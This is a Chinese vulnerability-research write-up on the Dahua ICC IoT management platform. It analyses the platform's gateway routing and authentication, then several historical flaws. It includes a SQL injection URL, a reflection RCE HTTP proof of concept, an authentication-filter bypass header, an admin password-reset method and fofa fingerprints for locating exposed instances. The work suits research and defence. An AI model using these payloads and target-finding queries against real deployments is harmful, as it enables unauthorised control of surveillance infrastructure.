某华ICC智能物联综合管理平台历史漏洞分析(一)——从两层接口转发到漏洞利用
本文仅用于网络安全研究与技术交流目的,所涉及的技术、方法及示例仅限于在合法授权的环境下进行测试与学习。严禁将本文内容用于任何未授权的攻击行为或非法用途。因读者不当使用本文内容而造成的任何直接或间接后果,均由使用者自行承担,作者不承担任何责任。请在遵守相关法律法规及道德规范的前提下开展安全研究工作。
由于笔者水平有限,文中难免存在不足,欢迎指正与交流。
前言
这次来看看大华ICC。这是第一个接触到的微服务系统,还有个nginx网关,所以在接口转发关系上花费了不少时间,远程调试也是踩坑不少,故写笔记分享,希望能帮大家节约一点时间。
本文目标:
1、了解大华ICC的项目结构
2、分析在nginx层的接口转发
3、分析evo-apigw微服务如何进行网关转发,微服务如何在evo-discover中注册,evo-oauth怎么进行认证
4、对evo-apigw系列的微服务和evo-runs分别进行鉴权分析
5、对4个历史漏洞进行分析
6、盘点过程中的疑难杂症
部分文档见:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0
让我们开始吧。
项目分析
大华ICC的结构相对复杂一些,这里只分析我认为比较重要的。

3rdtool是第三方的软件,比如nginx,rabbitmq:

evo是核心源码,存放了各个模块。
evoWpms是静态资源的存放目录,由evo/evo-web部署,其在nginx有配置,可以通过 https://xxx/static/xxx的方式,直接访问到里面的静态资源,后面会讲。
详细看看evo:

evo-common是主要业务目录,存放了各个微服务
evo-subsystem是子系统,主要是视频监控系统的各个服务,且主要都是二进制程序
evo-web是前端模块安装包,只起到备份作用,实际都安装到了evoWpms目录中
看一下evo-common:

evo开头的,每个都对应一个微服务。
evo-apigw做网关,复制分发部分请求。evo-discover起到注册中心和服务发现的作用。evo-oauth是基于oauth2的认证服务,经过apigw,且不在白名单的接口,都需要经过oauth2认证。evo-runs模块是后台配置中心专用的服务,不走apigw网关,有自己的一套鉴权。evo-arms与其他微服务不一样,启动的是一个go的二进制文件,而不是jar,该微服务不走oauth鉴权。其他微服务这里不展开了。
看一下evo-subsystem:

进Evo-video:

这里是视频监控系统的各个服务,除了admin模块外,其他都是二进制文件启动的。
看一下evo-web:

再看看evoWpms:

可以看到是有一一对应关系的,其中Evo-web-oms对应config。
至此,项目结构大致看完了,接下来看看nginx网关配置。
nginx网关
nginx.conf
先看总配置文件nginx.conf:

主要关注圈起来的文件。
upstream.conf
upstream.conf:

这里设置了三个upstream名称,其中runs_backend在漏洞分析时会经常看到,因为对应的是evo-runs微服务:

web_local_runs.conf
web_local_runs.conf:


监听8005,location文件在location_runs.conf,看一下:

可以通过/evo-runs的方式访问微服务,会转发到https://runs_backend,这个在upstream里有。
可以通过:8005/config的方式,访问管理后台:

web_local_https_entry.conf
web_local_https_entry.conf:


开在443端口,location文件在location_https.conf,看一下:
这个文件很长,因为包含了从443端口访问的各种转发规则



能够看到/brm/和/evo-apigw/都被转发到https://hauc_backend/;同时,也有之前的/evo-run/,所以也可以从443端口访问到管理后台:


另外能看到默认路径全部访问前端静态资源,对应文件路径在 /opt/evoWpms,所以后面经常能看见把命令执行结果写入/opt/evoWpms/static/xxx,然后通过https://xxxx/static/xxx去访问执行结果。
apigw系列
api/evo_apigw.conf:

定义了apigw的端口,即evo-apigw这个微服务。
websocket/keepalive_event_websocket.conf:

websocket/websocket_admin_backend.conf:

http目录里是空的。
至此,nginx网关的规则基本看完了。最后来总结一下所有的upstream名称:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #跳转服务器配置 #运维管理 upstream runs_backend { server 127.0.0.1:8006; check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false; ip_hash; }
#weboss upstream oss_backend { server 127.0.0.1:8927; check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false; ip_hash; }
#fsugw upstream fsugw_backend { server 127.0.0.1:9088; check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false; ip_hash; }
upstream hauc_backend { server 192.168.131.46:8945 weight=1 max_fails=2; }
upstream keepalive_event_websocket { server 192.168.131.46:8919; keepalive 32; ip_hash; }
upstream websocket_admin_backend { server 192.168.131.46:9407; keepalive 32; ip_hash; }
|
以及一些重要的location:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| #运维接口访问路由 location ^~/evo-runs/ { #include mysite.rules; proxy_pass http://runs_backend; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-NET-FLAG $x_net_flag; proxy_set_header X-LC-MappingNet $x_lc_mapping_net; proxy_send_timeout 1800; proxy_read_timeout 1800; proxy_ssl_ciphers ALL:!EXP:!NULL:!ADH:!LOW:!SSLv2:!SSLv3:!MD5:!RC4; }
#管理端接口对外访问路由 location ^~ /evo-apigw/ { if ($deny_request) { return 404; } proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-NET-FLAG $x_net_flag; proxy_set_header X-LC-MappingNet $x_lc_mapping_net; proxy_send_timeout 600; proxy_read_timeout 600; set $rewriteFlag 0; set $localHost $host; if ($http_RewriteHost != "") { set $rewriteFlag "${rewriteFlag}1"; } set $testFlag 0; set $testToken $http_authorization; if ($http_x_subject_token != "") { set $testFlag "${testFlag}1"; } if ($http_authorization = "") { set $testFlag "${testFlag}1"; } if ($testFlag = "011") { set $testToken $http_x_subject_token; } if ($http_Host != $http_RewriteHost) { set $rewriteFlag "${rewriteFlag}1"; } if ($rewriteFlag = "011") { set $localHost $http_RewriteHost; } if ($rewriteFlag != "011") { set $localHost $host:$server_port; }
proxy_set_header authorization $testToken; proxy_set_header Host $localHost;
if ($rewriteFlag = "011") { proxy_pass https://$http_RewriteHost:$http_RewritePort; break; } proxy_pass https://hauc_backend/; proxy_cookie_path ~*/* /evo-apigw; proxy_ssl_ciphers ALL:!EXP:!NULL:!ADH:!LOW:!SSLv2:!SSLv3:!MD5:!RC4;
proxy_intercept_errors on; # 允许Nginx拦截后端返回的错误代码 if ($request_uri ~* .*evo-oss.*) { error_page 302 = @handle_redirects_with_evo_pic; # 当接收到302状态码时,触发内部重定向到新的URL } }
|
接下来要分析微服务网关evo-apigw是怎么进行转发的。
evo-apigw网关
这里先给出一个最简单的,获取所有注册微服务的办法,需要在部署的机器上执行:
1 2
| curl http://127.0.0.1:8916/evo-discover/1.0.0/srd/subsystem curl http://127.0.0.1:8916/evo-discover/1.0.0/srd/version/list
|

第一个命令的结果整理一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328
| { "code": "0", "data": { "systemList": [ { "address": "127.0.0.1", "developerModel": "prod", "extParams": null, "index": 1, "keepaliveConnInfo": null, "magic": "mes_bc:24:11:1c:9a:6a_7086", "name": "evo-mes", "port": 7086, "version": "" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": "websocket_admin_backend" }, "magic": "admin_BC-24-11-1C-9A-6A_9407", "name": "admin", "port": 9407, "version": "" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 1, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-runs-adapt_BC-24-11-1C-9A-6A_8007", "name": "evo-runs-adapt", "port": 8007, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": "keepalive_event_websocket" }, "magic": "evo-event_BC-24-11-1C-9A-6A_8919", "name": "evo-event", "port": 8919, "version": "1.2.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": { "syncSource": "NACOS" }, "index": 0, "keepaliveConnInfo": null, "magic": "192.168.131.46#8923#DEFAULT#DEFAULT_GROUP@@evo-package", "name": "evo-package", "port": 8923, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 1, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-emap_BC-24-11-1C-9A-6A_8920", "name": "evo-emap", "port": 8920, "version": "1.1.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 1, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-cascade_BC-24-11-1C-9A-6A_8948", "name": "evo-cascade", "port": 8948, "version": "" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "nacos-sync_BC-24-11-1C-9A-6A_8916", "name": "nacos-sync", "port": 8916, "version": "" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-linkage_BC-24-11-1C-9A-6A_8922", "name": "evo-linkage", "port": 8922, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 1, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-oauth_BC-24-11-1C-9A-6A_8917", "name": "evo-oauth", "port": 8917, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 1, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-dahua-open-api_BC-24-11-1C-9A-6A_9141", "name": "evo-dahua-open-api", "port": 9141, "version": "" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-apigw_BC-24-11-1C-9A-6A_8945", "name": "evo-apigw", "port": 8945, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": { "syncSource": "NACOS" }, "index": 0, "keepaliveConnInfo": null, "magic": "192.168.131.46#8916#DEFAULT#DEFAULT_GROUP@@nacos:nacos-sync", "name": "nacos:nacos-sync", "port": 8916, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": { "cascade": [ { "cascadeProtocol": "icc", "domainConfigPage": "/evo_cascade/domain_edit.html" } ] }, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-brm_BC-24-11-1C-9A-6A_8918", "name": "evo-brm", "port": 8918, "version": "1.2.1" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 1, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-log_BC-24-11-1C-9A-6A_8924", "name": "evo-log", "port": 8924, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": { "httpsPort": 8928 }, "index": 0, "keepaliveConnInfo": null, "magic": "bc:24:11:1c:9a:6a", "name": "evo-oss", "port": 8927, "version": "" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-mr_BC-24-11-1C-9A-6A_9610", "name": "evo-mr", "port": 9610, "version": "1.0.0" }, { "address": "127.0.0.1", "developerModel": "prod", "extParams": null, "index": 1, "keepaliveConnInfo": null, "magic": "flv_bc:24:11:1c:9a:6a_7886", "name": "flv", "port": 7886, "version": "" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 1, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-doc_BC-24-11-1C-9A-6A_9139", "name": "evo-doc", "port": 9139, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": {}, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": null, "tcpKeepaliveInfos": null, "websocketBackend": null }, "magic": "evo-job_BC-24-11-1C-9A-6A_8915", "name": "evo-job", "port": 8915, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": "prod", "extParams": null, "index": 0, "keepaliveConnInfo": { "httpKeepaliveInfos": [], "tcpKeepaliveInfos": [], "websocketBackend": "" }, "magic": "evo-arsm_bc:24:11:1c:9a:6a_8956", "name": "evo-arsm", "port": 8956, "version": "1.0.0" }, { "address": "192.168.131.46", "developerModel": null, "extParams": null, "index": 0, "keepaliveConnInfo": null, "magic": "192.168.131.46_6556", "name": "paas-Fnode", "port": 6556, "version": "1.1.1" } ] }, "errMsg": "", "success": true }
|
上面就是所有注册的微服务。但并不是所有的微服务,都是通过apigw进行转发的。
来梳理一下evo-apigw是怎么起到微服务网关的作用的,evo-discover是怎么起到注册中心和服务发现的作用的,evo-brm等服务是怎么注册到evo-discover的,evo-oauth是怎么起到认证作用的,这三者之间的交互是怎么样的。
evo-apigw
先看application.properties:


register系列的配置,是大华自己实现的逻辑,代表微服务注册。
system.name定义了微服务名称。
再看component.properties:

register.server系列的配置,代表了微服务注册中心。
register.node系列配置,代表了微服务的名称,端口等。
register.subsystem系列配置,代表了此微服务的版本,是否需要订阅微服务列表等信息。
oauth相关配置是认证服务用的。
上面的配置说明,这个微服务evo-apigw,会向127.0.0.1:8916这个注册中心进行自动注册,且自动订阅所有的微服务;oauth认证在这个微服务不生效,默认放行所有路由。
这里剧透一下,oauth认证是在apigw转发后的具体微服务里做的。
现在要分析一下,apigw网关具体是怎么转发请求到各个微服务的。
一个关键类com.dahua.evo.apigw.config.CustomRouteLocator,其转发逻辑,本质上基于Zuul网关:

会根据服务名生成 /服务名/** 这一类 Zuul 路由。而服务名来自对evo-discover的订阅服务。
具体会在com.dahua.evo.apigw.config.CustomRouteLocator#getMatchingRoute做转换:

具体细节不展开了,本质还是Zuul网关转发。
evo-discover
evo-discover是一个tomcat项目,其位于\opt\evo\evo-common\Evo-discover\evo-discover:

所以源码位于WEB-INF/classes,记得在idea里添加为库。
其核心类为com.dahua.evo.discover.business.controller.DiscoverController:

从方法注解就能看出各个接口的作用。
比如看这个/register,一看就知道是用来注册服务的。再看一下RegisterDTO这个参数:

其内部类Param,与上面分析evo-apigw配置文件的结果能够对应。
总结一下,注册中心discover大致有以下职能:
1、其他微服务调用/register接口注册,注册完返回一个token
2、其他微服务带着token,请求/heartbeat保活,让注册中心知道其他微服务正常
3、其他微服务带着token和monitor(回调地址),请求/subscribe,向注册中心订阅微服务列表
4、定时将微服务列表变化推送给订阅者
com.dahua.evo.discover.business.service.impl.NotifyServiceImpl:

能看到注册中心对apigw是有特殊关照的,专门有个静态final变量,保存apigw的回调地址。
evo-brm
这里主要关注evo-brm这种微服务是怎么注册到evo-discover中的。
依旧是配置文件:




再加上lib里的discover客户端依赖:

能够判断,启动时,会自动调用discover客户端读取配置文件,然后注册到evo-discover。
关于oauth配置,要看jar包里的oauth.properties:

能看到有不需要oauth鉴权的接口:
1
| oauth.permit=/**/secret-problem/list,/**/user/is-exist,/**/secret-problem/verify,/**/user/password-reset,/**/user/login,/**/index,/**/user/login-out,/**/discover/subscribe/callBack,/**/config/get-version,/**/version,/**/without-oauth/select-password-strength,/**/resources-info/all-resource,/**/device/io/import/excel/result/download/*,/**/subsystem/app-page-url,/**/encrypt/public-key,/**/thread/setting/test/**,/**/user/getCode,/**/user/getTime,/**/user/getCodeStat,/**/select-safe-config,/**/thread/setting/test/*,/**/config/product,/**/secret-problem/all,/**/oversea/platformInfo,/**/config/hidden-page-info
|
evo-oauth
这里只需要知道这个微服务是起到认证服务器的作用就行。
第三方客户端会向它请求token,之后带着token去访问资源服务器,这里的资源服务器指使用oauth认证的各个微服务。
详细分析见后面的“鉴权分析-apigw系列”
/evo-apigw/nacos-sync/xxx.jsp的特殊性
nacos-sync微服务,对应的是8916端口:


可以看到,8916端口对应的是evo-discover服务,而这个服务的启动参数有些特殊,不是启动一个jar包,而是启动tomcat服务,能够看到
1
| -Dcatalina.base=/opt/evo/evo-common/Evo-discover/tomcat
|
于是查看该目录下的tomcat配置文件。
查看conf/server.xml:




有两个service,一个是8916端口,srd目录下的catalina service;另一个是8848端口,nacos下的nacos service。不过nacos-sync微服务对应的是8916端口,所以这里只关注catalina service就行。
看一下srd目录:

现在能够理清了:
1 2 3 4 5 6
| /evo-apigw/nacos-sync/xxx.jsp -> nginx 去掉 /evo-apigw/ -> evo-apigw 收到 /nacos-sync/xxx.jsp -> 按服务名 nacos-sync 路由到 8916 -> 8916 上的 Tomcat 按 context path=/nacos-sync 处理 -> 最终落到 tomcat/srd/nacos-sync 对应的 webapp 目录
|
所以我们可以往/opt/evo/evo-common/Evo-discover/tomcat/srd/evo-discover或者/opt/evo/evo-common/Evo-discover/tomcat/srd/nacos-sync目录下写jsp文件,然后通过/evo-apigw/nacos-sync/xxx.jsp或/evo-apigw/evo-discover/xxx.jsp去访问jsp文件,这样就可以从任意写提升到RCE。
特殊情况
evo-apigw在获取微服务列表时,会单独去掉evo-job,所以没办法在外网访问evo-job了:

当调试apigw时,在org.springframework.web.servlet.DispatcherServlet#doDispatch打断点,这样一定能停下来。
小结
这里针对漏洞挖掘总结一下。
1、/evo-apigw/xxx系列接口的命名规则
在漏洞分析中,经常看到 /evo-apigw/evo-brm/1.0.0/xxx 类似的接口。
以evo-apigw为网关的微服务,其接口命名都是类似的。
evo-brm这部分,可以看最上面对evo-discover的curl请求列表,也可以看对应微服务的配置文件。
一般都在config/application.properties里,看system.name就行:

1.0.0这部分也看配置文件application.properties:

比上面的版本小是可以的。
2、oauth认证相关
oauth认证难绕,只能关注不用认证的接口,一般在相应jar包的oauth.properties文件:


3、/evo-runs/v1.0/xxx
这个没经过apigw网关。白名单接口:
1
| spring.interceptor.url=/v1.0/auths/sysusers/login,/v1.0/receive,/v1.0/push,/v1.0/receive/file,/v1.0/push/file,/v1.0/receive/response/file,/v1.0/health,/v1.0/auths/sysusers/publickey,/v1.0/auths/sysusers/v2/security/questions/*,/v1.0/auths/sysusers/forget/pass/login,/v1.0/auths/sysusers/valid/security/answers,/index.html,/v1.0/ws,/v1.0/auths/sysusers/code/time,/v1.0/auths/sysusers/code/digit,/v1.0/auths/sysusers/code,/v1.0/sys/paramConfigs/account,/v1.0/auths/sysmenus/productInfo/query,/v1.0/rose/switch,/v1.0/auths/sysusers/nonce,/v1.0/module/config/global/query/nvxDB/stat,/v1.0/theme/getlastapply,/v1.0/server/module/encode,/v1.0/certificate/download/ca/selfSign,/v1.0/proTypeInfo/query
|
鉴权分析
evo-apigw系列
通过oauth2协议,且是password模式。
可以参考官方文档:
https://open-icc.dahuatech.com/#/home?url=%3Fnav%3Dwiki%2Fcommon%2Fquickstart.html%23%E9%89%B4%E6%9D%83%E8%AE%A4%E8%AF%81&version=enterprisebase/5.0.17&blank=true
根据client_id、client_secret、access_token等字段,可以得知,由apigw进行转发的微服务,都是通过oauth2协议鉴权的,且这里使用的是password模式。
关于oauth协议,可以看:https://www.bilibili.com/video/BV1FL411h7es
最终的鉴权点在org.springframework.security.oauth2.provider.authentication.OAuth2AuthenticationProcessingFilter#doFilter:

能够看到tokenExtractor是BearerTokenExtractor,这也与官方文档中的一致:

所以说,apigw系列接口的认证安全,就是oauth2的认证安全。想要绕过oauth2,是困难的。所以,若是想访问apigw系列接口,只能想办法获取用户名和密码,以及client_id和client_secret,然后去申请access_token。这显然也是困难的,只能通过其他地方的信息泄露,或是密码重置等方法。如果能知道或重置system用户,那就可以手动去分配client_id等,见:https://open-icc.dahuatech.com/#/home?url=%3Fnav%3Dwiki%2Fcommon%2Fquickstart.html%23%E7%94%B3%E8%AF%B7%E8%AE%BF%E9%97%AE%E5%87%AD%E8%AF%81&version=enterprisebase/5.0.17&blank=true
evo-run系列
这个也是漏洞分析中经常出现的一个路由。
其鉴权白名单在配置文件中:\opt\evo\evo-common\evo-runs\config\application.properties

鉴权采用Filter方式,主要分析AuthFilter和SessionFilter:

AuthFilter只对几个接口生效:

其中有出现历史漏洞的/receive,/push接口
其doFilter方法也很好绕过,只需要有X-Subject-HeaderFlag: ADAPT请求头,且没有X-Subject-Sign请求头即可:

SessionFilter对所有接口生效,但是会放行配置文件中的白名单:



路由分析
微服务大多是spring boot架构的,所以也可以去一个个调试,在doDispatcher打断点,然后把所有controller mapping提取出来。不过经过我的尝试,这里调试时,表达式的执行有很大限制,最后只能用这个代码去提取:
1 2 3 4 5 6 7 8 9 10
| new java.lang.StringBuilder() .append( this.getWebApplicationContext() .getBeansOfType(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class) .values() .iterator() .next() .getHandlerMethods() ) .toString()
|
然后自己手动去整理。
最终我只搞了一个evo-runs的,见我的仓库:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0
漏洞分析
/ars/list SQL注入
参考https://www.cnblogs.com/Domren/articles/19473055
这里的漏洞接口是:https://XXXX/evo-apigw/evo-arsm/1.0.0/ars/list?serviceName=%27+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(0x7e,VERSION(),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-
是evo-arsm这个微服务。

这是一个二进制文件,问了一下AI,说是go的编译文件,而且没有oauth认证。
所以里面的接口都是无鉴权的了,但是笔者并不会逆向,所以只能全部交给AI分析,这里就没法结合具体代码分析了。
复现没问题:

/push&/receive RCE&文件上传
这是去年护网时候的一个漏洞。
涉及的微服务是evo-runs。
com.dahua.evo.runs.controller.agent.MsgDealConrtoller#push:

跟进msgDeal:

这里会调用handler的msgDeal,handler从上面获取,跟进getMsgHandler:


所以在MsgHandler的实现类中,寻找能够利用的msgDeal方法即可。
公开POC中给的是com.dahua.evo.runs.agent.receive.handler.module.OssmConfigHandler#msgDeal:

这里有两个利用点,一个是任意文件写入,一个是任意命令执行。
AgentMsgParam是一开始从请求体里读取的,可控,所以由它生成的CommonAgentParam也是可控的。
writeMappingFile会向指定路径写指定内容:

而execute,则会代入Runtime去执行命令:

需要注意的是,这里会对command做一次变量代换。比如command是:echo {0},args是:{“111”},那么formatCommand后,最终命令会变成:echo 111。所以如果command里出现大括号,得用单引号包裹来进行转义。
复现:


/GetClassValue RCE
漏洞接口是:/evo-apigw/admin/API/Developer/GetClassValue.jsp
/admin对应 admin微服务,在/evo-subsystem/Evo-video/admin目录下。
/API 是固定的 servlet-path,见配置文件:

所以真正对应到controller的,应该是/Developer/GetClassValue,.jsp不知道是做什么的,也许是绕过nginx规则?当经过apigw转发后,.jsp会被rewrite掉,最后请求的还是/Developer/GetClassValue。
com.dahua.admin.restapi.api.developer.DeveloperController#getCache:

能通过反射调用任意public方法,所以找一个能利用的方法就行。
这里找到com.dahua.admin.util.RuntimeUtil#syncexecReturnExitValue:

最终POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /evo-apigw/admin/API/Developer/GetClassValue.jsp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: */* Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json Connection: close Cache-Control: no-cache Pragma: no-cache Host: xxx Content-Length: 159
{ "data": { "clazzName": "com.dahua.admin.util.RuntimeUtil", "methodName": "syncexecReturnInputStream", "fieldName": ["id"] } }
|
我这边的环境已经修复了,所以没法利用成功,看网上的截图,应该是有直接回显结果的。
修复:
admin/resources/oauth.properties中,会对上面的URL做认证:

system用户密码重置漏洞
这里的漏洞接口是:/evo-apigw/evo-runs-adapt/1.0.0/receive
没错,跟evo-runs的一样,也是/receive,在配置文件中放行:

controller的类名都一样:

所以利用方式也和上面的一样。
看一下这次的handler,com.dahua.evo.runsadapt.business.handler.manage.RestManagePwdHandler#msgDeal:

名称很直接了,就叫重置管理员密码。看上去还是请求brm服务重置的。
把evo-brm.jar放进jadx,搜索一下:


这里有一点疑惑的是,为什么evo-runs-adapt生成的随机token,能通过evo-brm微服务的oauth认证。
好吧,其实就是写在evo-brm的规则里:

那很奇怪了,为什么不直接访问/evo-apigw/evo-brm/1.0.0/user/password-reset呢?
好吧,又有反转,直接调是不行的,因为在evo-brm中,会携带evo-runs-adapt发送过来token进行一次回调:

这里顺带问了一下AI,这里数据库密码的加密方式是怎么样的:

看来这个密码是很难解密了。
当重置完后,用户名和密码为system/123456 。
这个时候,我们就能登录后台,然后跟进官方文档的鉴权过程,去申请client凭证,最后想oauth服务发包,得到access_token:


好像直接登录也能抓包在请求头看到token,不过我这边环境过期了,登录不了,不知道行不行。
拿到token后,就可以向需要认证的微服务发起访问了,此时攻击面很大,这里留给读者自己去找。
给两个接口作为提示:/evo-brm/1.2.0/user/menu/upload/img、/admin/API/capture/batchDownloadCapturePic
其他漏洞
这里可以使用:https://github.com/R4gd0ll/I-Wanna-Get-All
可以在工具中设置代理,然后抓包看请求,据此去分析漏洞:

不过不知道是版本原因还是什么,这里有很多漏洞,我感觉根本利用不了,都没这个接口。
漏洞挖掘思路
以下的思路只是个人最浅薄的一点见解,仅供参考!
不知道新版本修了哪些,这里只能给出基于现版本的挖掘思路。
evo-runs,继续在白名单找能利用的controller(不过似乎没有能用的了);继续找能利用的handler(不知道新版本有没有禁/receive系列接口,禁了话也没用了)。
evo-apigw系列微服务,看看oauth配置文件里放行的接口有没有能利用的。
各种二进制起的服务,逆向分析,看看有没有存在漏洞。(这个感觉还挺有希望)
关注nginx配置里其他端口的服务能不能访问到。
应用指纹
参考https://www.cnblogs.com/priv/p/19296980
fofa语法:icon_hash="-1935899595"、title="智能物联综合管理平台"、app=”dahua-智能物联综合管理平台”
title/body中关键字:(这个title是强特征,在源码中显示是这样的三个点)、客户端会小于800、智能物联综合管理平台、智慧物联运营管理中心、大华 ICC 智能物联综合管理平台、浩睿智能物联综合管理平台
版权信息:©2019大华股份浙ICP07004180浙公网安备33010802003424号
疑难杂症
断点失败
在调试brm鉴权的时候,明明能连上远程调试,却死活断不下来点。
后面去ps -ef | grep brm,netstat -anp | grep xxx 看了一下对应进程开了哪些端口时,才发现,原来新开的debug brm进程只开了一个12002调试端口,其他端口还是原本的brm服务开的。
当时命令的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| root@dahuatech:~ tcp 0 0 192.168.131.46:12002 192.168.26.80:21248 ESTABLISHED 17688/evo-brm tcp6 0 0 :::8918 :::* LISTEN 24091/evo-brm tcp6 0 0 :::8941 :::* LISTEN 24091/evo-brm tcp6 0 0 127.0.0.1:49964 127.0.0.1:3306 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:55233 127.0.0.1:6379 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:47779 127.0.0.1:3306 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:55458 127.0.0.1:5673 ESTABLISHED 24091/evo-brm tcp6 86 0 192.168.131.46:43729 192.168.131.46:8945 CLOSE_WAIT 24091/evo-brm tcp6 0 0 127.0.0.1:55231 127.0.0.1:6379 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:55225 127.0.0.1:6379 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:55229 127.0.0.1:6379 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:55227 127.0.0.1:6379 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:57244 127.0.0.1:3306 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:55223 127.0.0.1:6379 ESTABLISHED 24091/evo-brm tcp6 0 0 192.168.131.46:8941 